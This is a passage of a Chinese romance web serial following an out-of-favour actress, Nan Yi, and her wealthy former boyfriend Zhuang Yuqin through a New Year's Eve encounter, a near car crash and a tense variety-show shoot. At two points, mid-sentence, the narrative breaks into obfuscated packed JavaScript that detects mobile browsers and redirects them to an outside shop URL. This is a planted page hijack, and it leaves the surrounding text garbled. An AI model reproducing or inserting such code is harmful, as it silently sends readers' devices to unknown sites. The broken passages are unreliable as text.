南意将包装盒拆解得四分五裂,烟花项链完完整整地露出来,定格数秒,她边说边把项链揣进兜里,“项链我先留着,回头再问问其他人有没有收到一样的东西。” Syzygy这场秀邀请的艺人在圈子里的咖位都比她高,其中只有两人在她的好友列表里。 南意第一时间找到她们,她们的回复也很统一:【是有条项链啊,怎么啦?】 所以她并不是特例。 也没准是庄俞钦在玩“为了名正言顺地送给心上人对象礼物,把她同事的份全部捎上”这种只出现在罗曼蒂克小说里的桥段呢? 这个想法刚展露一角,就被南意否决。 从南家破产到进组拍摄《春迹》这段时间,如果没有庄俞钦舍己式的照顾,她可能早就饿死冻死在街头,又或者误入歧途、自甘堕落。 被动卷入不实丑闻后,也是他心甘情愿抛下一切,替她四处奔波,寻找可以改变舆论风向的证据,即便最后一无所获,也不能否定他付出过的所有努力。 而她,却在他最需要的时候一脚蹬开了他,用一句“过河拆桥”形容再贴切不过。 她要是他,这会肯定恨死了他,想要通过送礼物的方式再续前缘简直是无稽之谈。 南意虽这么想着,一面还是没忍住敲下“你们的项链是什么图案”刨根问底,没来得及发送,看见其中一人又说:【不光我们,今年请来的职业模特每个人也都有,款式图案还一模一样,也不知道主办方这算有诚意还是太敷衍。】 南意手指微顿,删除对话框里的文字,回了个小狗点头的表情包后,将手机丢到一边,平躺到床上。 她高举胳膊,烟花项链在半空摆荡,看着像一簇簇盛开的斑斓小橘。 没一会,链条从她食指滑落,摔到她鼻梁,她用力吸了吸鼻子,将项链藏进抽屉,一把扯过被子,蒙在头顶,睡了个天昏地暗。 第二天中午醒来时没什么胃口,就榨了杯果蔬汁,喝到一半时,向锦出现。 “小琦跟我说,你把自己关在房间里很久了,我不放心,过来看看。” 向锦拍拍她的肩,“看开点,没被选上不一定全是坏处。” “能有什么好处?” 估计是被传染胡言乱语的毛病,向锦拉资源时巧舌如簧的能力消失,也开始说瞎话,“你这段时间健身健得这么勤快,我真怕你被选上后,练得更猛了,电影还没开拍,就先把自己练成牛蛙。” 南意向来会找关键词,向锦这一大段话里她只逮到“牛蛙”两个字,胃口回来些,突然有点想吃小龙坎——这家蛙肉是真的肥美。 向锦一看见她咂巴嘴的动作,瞬间明白她肚子里的馋虫又在蠢蠢欲动,考虑到她最近这段时间过得挺不是滋味,就大发慈悲给她嘴巴解了封禁。 傍晚吃完火锅,向锦在车上问她今年跨年夜什么安排。 南意耸耸肩,“沈青颐和谢凌都要去地方台表演,没时间约,所以今年也是一个人在家过。” 向锦动了恻隐之心,“今年我来陪你。” 计划赶不上变化,31号傍晚六点,向锦弟弟突发阑尾炎,姐弟俩父母双亡,家里就向锦一个人能陪床照看。 南意在电话里表示理解,“那你好好照顾他,有什么需要跟我说一声。” “行。” 向锦没着急挂断,“那你去你妈那里跨年吧,上周我去看她,她意识还算清醒,主动问起你的近况。” 南意默了默,“她是怕我接不到戏,供不起她住在疗养院的费用?” 平时软到看似人尽可欺的性子,一提起这个人,立马就给自己裹上一层刺,就是不知道这刺最后是用来扎谁的。 “没问你工作,就问你最近的睡眠怎么样,有没有好好吃饭,是胖了还是瘦了。” 向锦试探性地抛出一句:“算起时间,你应该有半年没去见她了?” 准确来说是七个月又五天。 “我现在还不太想去见她,过段时间再说吧。” 通话结束,南意走到餐桌旁,将刚做好的一桌菜分类倒进垃圾桶,只留下一个四寸巧克力蛋糕。 可可味很纯正,里面的奶冻馅料也足,但南意只吃了几口,犹豫近半分钟,还是没舍得把剩下的蛋糕一并丢进厨余垃圾桶里,装好放回冰箱。 跨年晚会播放到三分之一时,南意去衣帽间换了身衣服,外套是快到脚踝的雾霭蓝连帽羽绒服。 帽子一盖,帽檐上厚实的羊驼毛压下,能罩住她整个额头,不需要她额外戴顶棒球帽,至于下半张脸,被黑色口罩完完全全罩住。 出门前,她还特地给自己算了一卦,卦象显示很不妙:今夜出行,必有血光之灾。 她偏不信邪。 这一趟没有目的地,南意走到哪算哪,途中路过一家明信片专卖店,贴在玻璃墙上的海报标题很吸睛:【2025的最后一天,给未来的自己写封信吧】。 店面不大,门口挂着一串贝壳风铃,风一吹,发出铃铃的声响,里面用来装饰的摆件都不像这个时代有的,复古味道十足,走进店里,给人一种乘坐时光机器回到过去的错觉。 店主是位五十来岁的中年妇女,身侧放着张躺椅,一满头白发的老人正在打瞌睡,看着像她父亲。 南意第一次来这儿,一时新奇,转遍各个角落才去挑了张明信片,轻手轻脚地走到店主身前,想问她借支笔。 店主递给她笔的同时问:“姑娘你也是冲海报来的?” 南意嗯一声,“从来没试过给未来的自己写信,还挺有意思的。” “其实不一定要写信,你也可以写写对自己的祝福、未来一年的目标,等到明年,再来我这儿把明信片取回去,看这些心愿有没有达成。” 说完这话,店主就转过身,给足对方保护隐私的空间。 南意拨开笔帽,很快在明信片上写下“年年”两个字。 最后一笔被她拖得很长,转头被她划掉。 她很少在新年许愿,每回许,也都是蛮横地代替庄俞钦许,内容千篇一律:“祝俞钦年年有今日,岁岁有南意。” 显然,以他们现在的关系,许下这个心愿不太合适。 她另起一行,斟酌后写道:【希望2026年能接到好剧本。】 刚把明信片装进信封,耳边传来沙哑的一声:“你又来了?” 她一脸懵地回望过去,老人已经睡醒,睁着浑浊的眼睛看她。 “您在跟我说话吗?” 老人家没回答,自顾自往下说:“我都等你好多年了,你怎么现在才来?” 店主连忙道歉:“姑娘不好意思,我老爹年纪大了,记性不太好,现在估计是把你认成以前的顾客了。” 老人家一听这埋汰,瞬间不乐意了,语速都变快不少:“你才笨,你爹我记性好得不得了,这小姑娘长得这么漂亮,我肯定是见过的。” 南意笑笑,“爷爷,我都把自己遮这么严实了,您怎么知道我漂亮不漂亮?” “你第一次来,又没遮脸,我咋不晓得。” 南意感觉这逻辑有什么不对,短时间内又说不出所以然来,索性没脸没皮地附和道:“虽然不知道您把我认成谁了,但您说的对,我长得确实很漂亮。” 南意结完账离开后,老人家还在说:“我见过她的,好几年前来的,当时还有个小伙子陪她一起,两个人都长得秀气,老爹我不会认错。” 谢凌比沈青颐更早结束表演,在群里和南意聊起天来,还问她在哪。 南意抬头环视四周,意外发现自己已经拐到南山路。 这块区域不仅和韩国南山公园撞名,周围的风景也像,街道像一条条蜿蜒的丝带,零星点缀着几盏钻石般的灯火。 不知道是谁起的头,学着韩剧在塔顶护栏上挂了串爱情锁。 这事后来经当地媒体大肆宣传,跟风的人不计其数,不到半年,护栏上就挂满了锁。 听说这桩趣闻的南意,也曾想在自己十八岁生日那天,同庄俞钦告白后,俗套地去南山路挂上一条独属于他们的爱情锁。 然而那晚吹灭蜡烛后,被庄俞钦先声夺人,“交往的事,可以再等一天吗?” 她愣了下,想当然地问:“明天日子更好吗?” 庄俞钦不答反问:“过生日的时候,你开心吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228427|197575||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “嗯,是我一年中最开心的日子之一。” “我想让你的''最开心''能多延续一天。” 于是,她生日的隔天成为他们在一起的纪念日。 锁是在网上买的,十元一把,北城地区得加五元运费。 为了赋予它不一样的价值,南意还专门买来颜料,和庄俞钦一起在上面涂涂画画。 南意画的是晴天娃娃,庄俞钦在旁边填充上七色彩虹。 底下还有他们名字的缩写,她在前,他在后: 【NY&YQ】。 那会《春迹》刚官宣女主角,她的知名度还没打开,晚上十一点,人也少,她心大地裸着一张脸和庄俞钦出现在南山。 半路有人朝他们看去,庄俞钦下意识拿自己的手掌去挡她的脸。 南意乐不可支,等那人走后,问他:“你这样能罩住什么呀?” 庄俞钦一本正经地说:“你的脸很小。” 比羞赧先一步到来的是欢喜,南意一眨不眨地盯住他问:“你这是在变相夸你的女朋友吗?” 庄俞钦还不太习惯这称呼,呆楞两秒摇头,“我是在实话实说。” 她笑得更欢了,“俞钦,你好呆啊。” 他唇线拉得很平,不假思索道:“如果你更喜欢能言善道的,我会改。” “不需要改,”她踮起脚,捧住他的脸,“你这样就很好。” 那把锁最后被他们挂在不起眼的角落里,经受风吹日晒的考验,至今依旧无比坚固。 变质的只有他们之间的感情。 已经有很多年没来过这地方,南意发现上面的锁少了大半,她没有停留太久,刚绕回拐角处,鬼使神差地回头看了眼。 在庄俞钦高挺身影出现的瞬间,她心重重一跳。 他的身后是低垂的夜幕,星辰唾手可得,好像他整个人也是从宇宙尽头走出来的。 腰是腰,腿是腿的,瘦得线条清晰,长款大衣根本裹不住,黏黏糊糊的风缠上去,更显萧索。 南意仓皇别开眼,确认他离开后,才敢暴露自己。 悬挂他们爱情锁的位置上空空荡荡,只有围栏处斑驳的锈迹。 庄俞钦大半夜不睡觉,跑到这里来偷他们的纪念物? 南意大脑发懵,双脚不受控地朝他离开的方向追赶而去。 他的步伐比想象中还要慢,沿路经过数个垃圾桶,但她没有看到他有任何抛掷的动作,当然也有可能是在她追上他之前,他已经将锁扔掉了——毕竟他现在两手空空。 风一阵阵地刮来,吹得南意脸颊生疼,鼻尖也泛酸得厉害。 无纺布口罩还是不够抗寒。 她闭上眼睛,在数秒的空白里,终于找回些理智,决定提前终止自己跟踪狂般的变态行径。 偏偏睁开眼的那一刻,那道身影像凭空消失了一般。 四下一片空寂。 被积雪压到发白的世界里,忽然飘过来一只粉色爱心形状的氢气球。 它的气没那么足,像刚学会飞行的雏鸟,飞不进更广阔的天空,只能在半空游荡。 借着灯光,南意看清上面的涂鸦字体,写的是:【我想和你永远在一起】。 垂落的细绳在这时擦过她手背,她下意识去抓,结果抓到一把空气。 这次愣神的时间更长,等她回过神,气球已经飘出去一段距离,她抬脚去追。 她的步伐越来越快。 马路逐渐变成一条细窄的长线,朝着无边的夜色延伸。 另一头没有太阳,突然出现的光线却比日光还要刺眼。 她遵循本能反应,倏然停下脚步,两道局促的刹车声一前一后响起,撕破这片岑寂的天空。 紧接着响起一声怒骂:“你他妈神经病啊?要不要命了?” 迷雾浮起又散尽,光线变得不那么刺眼,南意缓慢睁大半眯着的眼睛,重新调整焦距,先对上的是一辆黑色奔驰,车牌有点眼熟,像在哪见过。 车身摆停的弧线很诡异,仿佛是为了阻拦并逼停侧对着她开来的那辆车。 她将目光微侧,停驻在驾驶室位置上,装的单向玻璃,她看不清里面坐着谁,胸腔内先传来紊乱的心跳节奏。 7. 07 奔驰车门打开,一个西装革履的男人走了出来,比庄俞钦的个子矮了近半个头,肤色没那么庄俞钦那么白,鼻梁上架着金丝眼镜,气场介于凌厉和柔煦之间。 总而言之,他不是庄俞钦。 对面司机也下了车,看见被撞碎的车灯后,继续破口大骂。 林聪充耳不闻,隔着一段距离问南意:“您没事吧?” 南意惊魂未定,在没找回自己声音前,只能摇头。 林聪长舒一口气,“这里我来处理,您要是有事,就先去忙。” 南意后知后觉这人是不是对她太恭敬了些,怎么左一句您右一句您的? 就算他认出她是谁,也不至于对她这种扑街艺人用这种尊称,非要说起来,他这辆豪车极大概率还是因为她才损毁的。 南意没想明白,暂退一边。 听见宝马车车主骂骂咧咧的声音后,她又忍不住上前,只是刚走出两步,被人拽了回去。 向锦的声音砸进耳膜:“你上去干什么?” 南意想问她怎么在这儿,也想说这场车祸可能是因她而起,结果被向锦一个眼风钉在原地。 向锦一脸严肃地说:“你要是被认出来,会有很多麻烦。” 意识到自己语气有点冷,她神色柔和些,摸了摸南意脑袋,“先回家,乖。” 南意下意识往两车相撞的位置看了眼,两秒后视线偏移到奔驰车上,车窗还是黑黢黢的,窥探不了半分其中的隐秘。 她轻轻点了点头。 一小时后,向锦回到缦合,在玄关换好鞋,遥遥看见坐在沙发上的南意,整个人不在状态,有一下没一下地扯着她最珍爱的小丑鱼玩偶尾巴。 向锦挨着她坐下,“不用担心,我都解决好了。” 南意正要开口,一个抬眼,瞥见顶到天花板的氢气球,和她追的那个外形一模一样,连涂鸦都是复制粘贴的,就是气要足很多。 “这气球你买的?” “奔驰车车主非要让我给你。” 南意哦了声,注意力回归正题:“那俩司机都没事吧?” “放心,能跑能跳还能对骂,”向锦说,“至于赔偿,那奔驰车车主说了,是他自己撞上去的,跟你没有任何关系,所以你不需要承担任何责任。” 南意今晚有点钻牛角尖,“要不是我,他应该也不会主动撞上去。” 向锦是在车祸发生后才出现的,不知道具体情况,等到交警赶来,查看监控,才理清事情的来龙去脉。 就现场情况看,奔驰车车主确实是为了南意,才不管不顾地朝宝马车开去。 向锦敛下意味深长的神色,揣测道:“他大概率是你影迷。” “为什么这么说?” “掏名片的时候,皮夹里有枚金属徽章掉了出来,是《春迹》上映一周年时发行的纪念款徽章。” 向锦用开玩笑的口吻说:“早知道他是你粉丝,当时就该让你留下来,再找几个记者到现场,写几篇报道,标题我都想好了,就叫''危机时刻,粉丝舍己救偶像,真情感动天地'',保准你再次登顶文娱板块头条。” 南意长吁短叹,“然后再次黑红半边天。” 向锦没接这话,“对方不要赔偿金,但我们总归承了这份人情,也不能什么都不补偿,我就把你《春迹》的签名照给了他一张。” “给一张签名照就够了吗?” “礼物本身的价值没那么重要,对受赠方有没有意义才是更重要的。” 向锦深深看她,试图从她脸上找到春淇的影子,“你还是太低估白月光的杀伤力了。” 南意干巴巴地笑了声,转头反应过来,“对了,你怎么会出现在那儿?” “十点那会我弟情况稳定下来了,让我去陪陪你,我到缦合发现你不在,看定位才知道你跑到南山路去了。” 定位是南意主动要求装在向锦手机里的,防患于未然。 “你大晚上的跑去南山路做什么?” 南意煞有其事地说:“旁观一场令人发指的撬锁事件,顺便心血来潮去追了一个干瘪的气球。” “……什么乱七八糟的?” 见她没有开口解释的打算,向锦也懒得追问,侧过身拥抱她,“祝我家大明星在新的一年里健康顺遂,用这张漂亮的脸蛋和出色的演技闪瞎黑粉眼睛。” 向锦没有久留,回医院继续照看弟弟,南意在客厅对着爱心气球发了会呆。 她总觉得哪里不对劲,思绪尚未理顺,记忆先倒带回一个多小时前。 被庄俞钦拿走的爱情锁最后会被他如何处理? 应该会扔掉吧,毕竟也没有保留下来的必要。 这个猜测一成型,南意心里闷闷的。 平心而论,她巴不得别再跟他有任何交集,避免再次陷入两败俱伤的局面,可当她找到他也想要放下这段感情的迹象后,她似乎又能体会到一种微妙的酸涩和不甘心,好似身体里的五脏六腑都被慢火煎熬着,甚至还带点不知所措。 这节骨眼上,南意忽然想起过去她对庄俞钦做的一些野蛮行径:趁他睡觉,偷偷在他脚上涂艳丽的指甲油,被他发现后,还不许他洗掉。 更作的一次,她让人给他发去一条整蛊短信,谎称她遭遇车祸,想借此试探他对她的在意程度。 他们之间,说要开始的是她,擅自画上休止符的也是她。 或许她在爱情里,秉性卑劣。 - 林聪以最快速度处理完这场不在计划内的事故,回到车上。 车里没开灯,光线昏暗,男人映在后视镜里的身影模糊不清。 林聪是听到一声声压抑的喘息才意识到不对劲,连忙打开车顶灯,扭头就见庄俞钦仰头靠在椅背上。 他脸上冷汗涔涔,病态的肤色快赶上窗外的雪,下颌角因痛苦绷得很紧,高领毛衣领口被拉拽得很低,露出脖颈处暴起的青筋。 这不是林聪第一次见到庄俞钦这副模样,碍于画面冲击力实在强,他还是体会到两秒的无所适从感。 他是12月中才被庄俞钦招作生活助理,庄俞钦算是打工人都会喜欢的那类老板,事少,给钱爽快,最重要的是情绪稳定——前提他的创伤应激综合症不被触发。 下车时,林聪的心脏还是突突直跳,他强迫自己保持镇定,边去后备箱拿药箱,边给闻铮拨去电话,把庄俞钦的大致情况反馈过去后补充了句:“庄总现在的心率有167,血压短时间内升高58毫米汞柱,脸色开始变红,出现呼吸困难的症状。” 闻铮有条不紊地回:“药箱里有阿普唑仑,你按平时的剂量给他吞下,起反应后的十分钟里,继续跟我反馈他的情况。” 林聪照做。 隔了一会,闻铮又问:“这次的诱因是什么?” “出了点小车祸。” 对庄俞钦而言,再小的车祸都是大事。 闻铮思忖片刻,“等他情况稳定下来,把他送来我这儿。” 开的免提,这话庄俞钦也听见了,“不用。” 出声时的嗓音哑得不像样,闻铮没听清,但从他的脾性推断出了他可能说的话,强求无用,索性顺着他的意思来,“有什么不舒服的地方,及时打电话给我。” “知道。” 闻铮还想说什么,林聪先一步在庄俞钦的眼神示意下掐断了通话。 庄俞钦坐直身体,毫不拐弯抹角地问:“她经纪人刚才给了你什么?” “是《春迹》的签名照。” 提起这部电影,林聪一时没收住旺盛的表达欲,“《春迹》是南意作品里我最喜欢的一部,因为是出道作品,演技不像现在这么成熟,但那种青涩更像一种难能可贵的灵动,换句话说,春淇就是为她量身打造的。” 庄俞钦沉默着听完,“你是她粉丝?” “我没有追星的习惯,最多算她一个微不足道的影迷吧。” 其实就算刚才领导不下达“撞过去”的指令,在如此危急的情况下,林聪可能也会这么做——影迷的基本素养罢了。 车辆启动前,林聪从西装内衬拿出那张签名照,满足地笑了笑。 就在他犹豫是该把这份天降礼物锁进保险柜,还是买个金像框裱起来时,冷不丁听见身后传来一声:“签名照给我。” “……” 林聪心不甘情不愿地把手伸到后座,祈祷老板良心发现,可惜新年的第一个愿望还是落空了。 欲哭无泪的同时,想起什么,“庄总,为什么要让我送给南老师那个气球?” 庄俞钦只说了三个字:“她想要。” - 年前定下的那档旅游综艺因节目组导演身陷“嫖·娼”丑闻风波临时中断,害南意百无聊赖地在家躺了一周。 就在她以为自己要以咸鱼形象迈入农历新年时,向锦给她接了档生活服务纪实综艺《欢迎客栈》。 这档综艺续约了三季,已经积攒下一定人气和口碑,按道理,她是没机会上的。 向锦解释:“原定的两期飞行嘉宾拍戏时断了两根肋骨,现在还在医院躺着,备 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228428|197575||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 选方案那几位也都抽不开档期,只好让你来救场了。” 南意恍然大悟,敢情她是备选里的备胎。 说到救场,向锦补充一条消息:“你最近应该刷到了《蝴蝶里》的热搜,女二因家里涉政问题暴雷,偏偏她的戏份又多又重,没法删,这剧要想正常播出,只能用AI换脸,或者找人补拍,目前我收到的消息是,片方更倾向于后者。” “你想让我去试镜?” “这次不用试镜,发份简历就行,竞争也不算激烈,你的形象和女二也契合,这事大概率能成。” 向锦还有其他工作要处理,没法跟南意一起去蓉城,去机场的路上,她对小琦千叮咛万嘱咐,末了用讳莫如深的语气告诫南意:“那几个嘉宾里有一个需要你时刻提防着点。” 南意吐出一个名字。 “你听说过他那些腌臜事?” 南意不赶行程的时候,大门不出二门不迈,娱乐圈那点隐秘基本都是向锦透露给她的,向锦要是不说,她根本没有消息源。 “猜的,这群嘉宾里看着就他最道貌岸然。” 像极周旭桥那畜生。 “我还在瑞景那会,就听说他不少料,不仅在剧组仗着自己资历老,肆意打压新人,下半身也不安分,没少借研讨剧本的名义对小姑娘动手动脚的,遇上几个好拿捏的,直接强迫对方在拍摄期间跟自己保持不正当关系。” 向锦捏捏南意的脸,明明开着空调,却还是凉,像覆盖着层无法消融的坚冰,“你记得别单独跟他两个人待在同一空间下。” 向锦的担忧纯属多虑,南意比她还怕节外生枝,还没抵达综艺录制现场,就提起十万个警戒心。 第一晚录制结束前,导演组通知所有嘉宾,明天会来新人,对方具体身份是一个字没透露。 隔天上午,看见一身休闲服出现在农家小院的周子严,南意愣了好久,不明白这个誓死不进娱乐圈的京圈纨绔怎么会出现在综艺录制现场。 经导演介绍才知,他就是那位只签了一期的空降嘉宾。 在座的都是人精,一番打听后,全都知道了他就是双料影帝周旭桥的儿子,撇开这层关系,周家在京圈也是有头有脸的家族,谁也得罪不起。 以至于一个初出茅庐的晚辈,还未真正在娱乐圈崭露头角,就诡异地被当成太子爷恭维着。 南意和周旭桥那点事在当年闹得沸沸扬扬,是非曲直早就无足轻重,明哲保身才是当下的重中之重。 南意很快意识到自己被排挤了,但她没觉不是滋味,反倒因省去很多不必要的社交,乐在其中。 那一整天,她都没和周子严有任何交流,直到第三天早上,在摄像头拍不到的地方,她被周子严堵住去路。 不是什么有必要浪费时间寒暄的关系,周子严开门见山地说:“我查过你资料,自从六年前你和瑞景娱乐解约,就再也没加入过任何经济公司,正好前段时间我成立了个工作室,目前在招艺人,待遇相当不错,你想要的女主资源我也可以给你抢来,你考虑一下。” 南意不明白他这是在抽哪门子风,但也不妨碍她毫不犹豫地表示拒绝:“我对我的现状很满意,暂时不考虑这事。” 满意自己成天被人当吸血包、挡箭牌使,还是满意自己只能接到三流剧本? 一听就是敷衍人的话,周子严不死心,把话挑明:“你现在都一无所有了,加入我的工作室,对你以后的发展有利无弊。” 他忍住才没说:“不想来我这儿,那庄俞钦公司去不去?” 南意一副油盐不进的姿态,“未来的事,谁也说不好,没准是弊大于利。” “那你倒是跟我预设一下,有什么弊端。” 先不提有啥弊。 她要是接受他的提议,那她就是傻逼。 南意扯出众多理由中的一条:“我和你父亲当年闹得那么不愉快,现在我转投你工作室,舆论不会好听到哪儿去。” “舆论你不用担心,我保管到时候你一条负面热搜都看不到。” 南意还是拒绝,礼尚往来地抛出一个问题:“周公子为什么要进娱乐圈?” 她其实更想问的是,昨天下午录制休息期间,他为什么会去见庄俞钦。 虽然只是远远一瞥,但她就是笃定当时待在周子严那辆豪华房车里的人就是庄俞钦。 两个人相处时的气氛不仅没到剑拔弩张的程度,相反有些和谐,不知道的还以为在开茶话会。 可当年把周子严打到肋骨断裂的人,不正是庄俞钦吗? 8. 08 当年在周旭桥的贼喊捉贼下,她的黑料铺天盖地地出现在各大社交平台上,恰逢那时,林修竹重病缠身,清醒的时间少得可怜,无暇顾及到她。 和她因戏熟识的几位前辈纷纷选择装聋作哑,同龄几个圈内朋友人微言轻,力挺她的言论很快淹没在一波波声讨中。 经纪公司见形势不对,趁机背刺她,各大品牌方也提出解约,向她索要巨额赔偿金,众叛亲离的下场是她身边能依靠的只剩下庄俞钦一个人。 那段时间的天气也很糟糕,北城像被沾染上江南梅雨季节的阴湿,连着下了近半个月的雨。 控告周旭桥污蔑的官司落败后,她把自己关在家里,又将通讯设备全部调成飞行模式,惊恐还是一阵阵发作。 生理性恶心让她吃不下饭,只能喝些果蔬汁,营养极度匮乏的情况下,她几乎瘦成皮包骨。 就在庄俞钦亲手制作挂在窗边的晴天娃娃换了第三批,她才敢拿起手机。 数不清的消息一下子涌进来,她攥住自己胸前的布料,大口大口地喘息,后背、额角冷汗直流,迷蒙的视线里,她磕磕绊绊地叫着庄俞钦的名字。 但没有得到任何回应和安抚。 微信消息里却出现他的名字:【你男朋友是叫俞钦吧?我听徐大小姐说,他出事了。】 沈青颐告诉她,那天晚上是周老爷子的寿诞,庄俞钦借由侍应生的身份混进宴会厅,不知道和周旭桥说了什么,他脸色难看至极,抡起拳头朝周旭桥打去,拳拳到肉,没两下周旭桥就倒地不起。 事情发生得突然,比安保更早抵达的是周子严。 庄俞钦当时的那身狠劲,没人能拉得住,哪怕周子严用尽力气回击,也不是他对手。 好在庄俞钦并非理智全无,听见沈青颐一声“南意”后,拳头顿在半空,猛地收住满身的尖锐。 多年以后,沈青颐回想起庄俞钦那一刻的眼神,记忆仍旧清晰。 有种做错了事那般的茫然无措,也像一条无家可归的小狗,湿漉漉的,狼狈又脆弱。 名流云集的晚宴,庄家人自然也在,也正是因为那场宴会,庄俞钦才会被注意到,找回自己身世。 而那次单方面殴打的结果是,周旭桥脾脏出血,在医院里修养大半年,至于周子严,肋骨断裂两根。 这事最后怎么化干戈为玉帛的,南意并不知情,因为没多久,她就跟庄俞钦提了分手。 …… 南意敛神,等待周子严的回答。 周子严拿着六位数限量款马克杯斜靠在岛台边,嘴角牵出一道玩世不恭的笑,“当然是为了向演艺圈贡献自己卓越的演技。” 南意笑着朝他竖起大拇指,一边心里骂了声:哪来的神经? 这场对话小琦一字不落全听见,第一时间在微信上找到向锦:【向姐,周老登的儿子周小登也来参加节目录制了。】 周子严决定进娱乐圈这事,向锦刚收到消息,但没想到他的银幕首秀会是一档综艺,还是和南意齐齐出镜的综艺。 等到节目播出,估计又得引发轩然大波,南意那些不存在的黑历史也会再一次被人拎出反复嘲讽。 六年前那场雨怎么就下不停? - 第四天中午,南意的录制工作全部结束。 小琦把收拾好的行李装到车上,让司机开车去镇上买了些特产,回程的路上提前五分钟给南意发消息,那会南意刚跟几位嘉宾打完招呼。 这条路车不好开,南意沿着人行道逆行,快到村口前,一辆黑色大众在另一侧停下。 周子严下车,手臂搭在车门上,隔着几米宽的马路笑问:“南老师要去机场的话,我正好顺路,可以送你一程,顺便我们聊聊之前我跟你提议的那件事。” 南意微笑,也不管周子严能不能听到,用正常音量答:“那事我已经跟周公子说得很明白了,目前我没有加入任何一家经纪公司或工作室的打算,你也不用送我,我的司机很快就到。” 说曹操曹操到,远远驶来另一辆车。 周子严装作没看到,改口道:“不聊你的事也行,聊点你经纪人的,你就不想知道当年她为什么离开瑞景,还有现在为什么她喝出一次次胃出血给你撕来的资源,最后都会被其他人抢走。” 看清站在南意对面的人是谁后,小琦如临大敌,在司机掉头前吩咐他停车,下车后一路朝南意狂奔,将人紧紧护在身后。 周子严满不在乎地笑笑。 南意认真观察周子严的表情,他似乎真的知道不少内幕。 权衡过后,她附到小琦耳边交代几句,小琦一脸担忧地回到车上,车掉头开走。 像周子严这种含着金汤勺长大的纨绔子弟,估计不乐意别人拿他当司机使,南意正要绕点路打开副驾驶车门,周子严下巴一偏,将她堵在左侧后座车门旁,“南老师,你就坐后座吧。” 南意不知道他葫芦里卖的什么药,偏偏动作比大脑快了一步,在察觉到不对劲前,手已经拉开车门。 弯下腰的同时,压低了视线,先看见的是一双弯曲的腿,不知道是裤腿太大,还是这人过于清瘦,定制的西装裤套在他身上看着有些宽松。 他的手非常漂亮,手背白皙,筋骨凸出,左手虎口处的褐色小痣分外惹眼。 南意心脏重重一跳,不信邪似的继续将视线往上抬。 男人的脸也白,眼睛却黑沉沉的,是白描画里最锐利冷硬的那一笔。 这下她是一点笑容都挤不出来了,身体也扭成一个诡异的曲线。 碍于找不到借口,也没法让自己原地消失,只能硬着头皮坐下。 周子严透过后视镜看了眼后座诡异的画面,在心里乐不可支,车辆启动后,看热闹不嫌事大地介绍了句:“南老师,这位是嘉樾影视的庄总庄俞钦,你俩现在好好认识一下,没准以后有机会一起合作。” 南意注意力跳过“嘉樾”两个字,集中在后半段。 如果打人不犯法,这会她已经掏出包里的防身棍朝这搅屎棍脑袋上砸去了。 娱乐圈的人都知道她谈过一段刻骨铭心的恋爱,却鲜少有人知晓故事里男主角的身份信息,豪门另当别论。 经过当年庄俞钦在周家晚宴上的那么一闹,北城圈子里无人不知他们这对苦命鸳鸯,只是这事后来被庄家压下,很少有人在明面上提起,但在听到她的名字后,对视间,依旧会露出心照不宣的笑容。 旁观者尚且心知肚明,当年身处漩涡中心的周旭桥儿子又怎会不知她和庄俞钦的过去 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“没点人脉资源怎么开娱乐公司?”周子严说,“不瞒你说,《蝴蝶里》我和庄总都投了一笔钱,要不是这两天我俩得去趟港岛,不然下午直接跟你一起上飞机,去剧组视察一番。” 南意默默在心里接上,感谢港岛,感谢港岛人民,祝愿港岛永远繁荣安定。 周子严看不见她如释重负的表情,但不妨碍他张嘴胡来,“看南小姐的反应,好像挺开心的?” 南意没来得及回上一句胡诌,先看见前方不远处有个直角转弯,条件反射抓住左上方扶手,身体瞬间绷得比弦还紧,避免周子严使坏来个急转弯,害她栽进庄俞钦怀里。 周子严确实有使坏的打算,见算盘落空,遗憾地咋了下舌。 虽然南意的身体没有和庄俞钦发生一丝一毫的接触,但在小幅度倾斜下,扑进她鼻腔的柚香变重了些。 比起庄俞钦以前用的沐浴露,这款味道没那么廉价,更清冽、澄澈,尾调也更苦。 像半生不熟的柚子本身,一口咬下去,唇周又麻又涩,咽下时,如鲠在喉。 “停车。”庄俞钦突然响起的声音掐断南意的走神,她整个人一顿。 周子严就跟有什么把柄被对方拿捏住一般,司机当得勤勤恳恳,庄俞钦下达什么指令,也第一时间照做。 车在路边停下,庄俞钦沉默着下了车。 南意后背绷得很紧,一刻不敢放松,等耳边传来不轻不重的车门声,高高吊起的心落回原地。 没几秒,跳得更剧烈了。 她僵硬地扭过头,庄俞钦就站在她身侧,身体压得略低。 看样子不像在催促她下车,倒像在示意她往右侧挪挪。 南意木着脸照做。 尽管挪动的姿势保持了尽可能的雅观得体,她脑子里还是蹦出一个相当不得体的词:屁滚尿流。 转瞬又在想:他有什么必要非得跟自己换个位置? 周子严没给她时间想通,又来了个急转弯。 这次是在南意不设防的情况下,她整个人在顷刻间失去平衡,朝庄俞钦那侧倾斜,最后脑袋砸到了他硬邦邦的大腿上。 两个人四目相对。 9. 09 南意呼吸凝住了,脑子里闪过无数句用来补救的措辞,最后全被庄俞钦忽然别过眼的动作和周子严抑制不住的笑声逼退。 周子严笑到话都说得断断续续的,“抱歉啊,这辆车我问节目组要来的,性能不太好,方向盘也松得不行,轻轻一转,就能转出个急转弯。” 怎么不把你脑子也转出去呢? 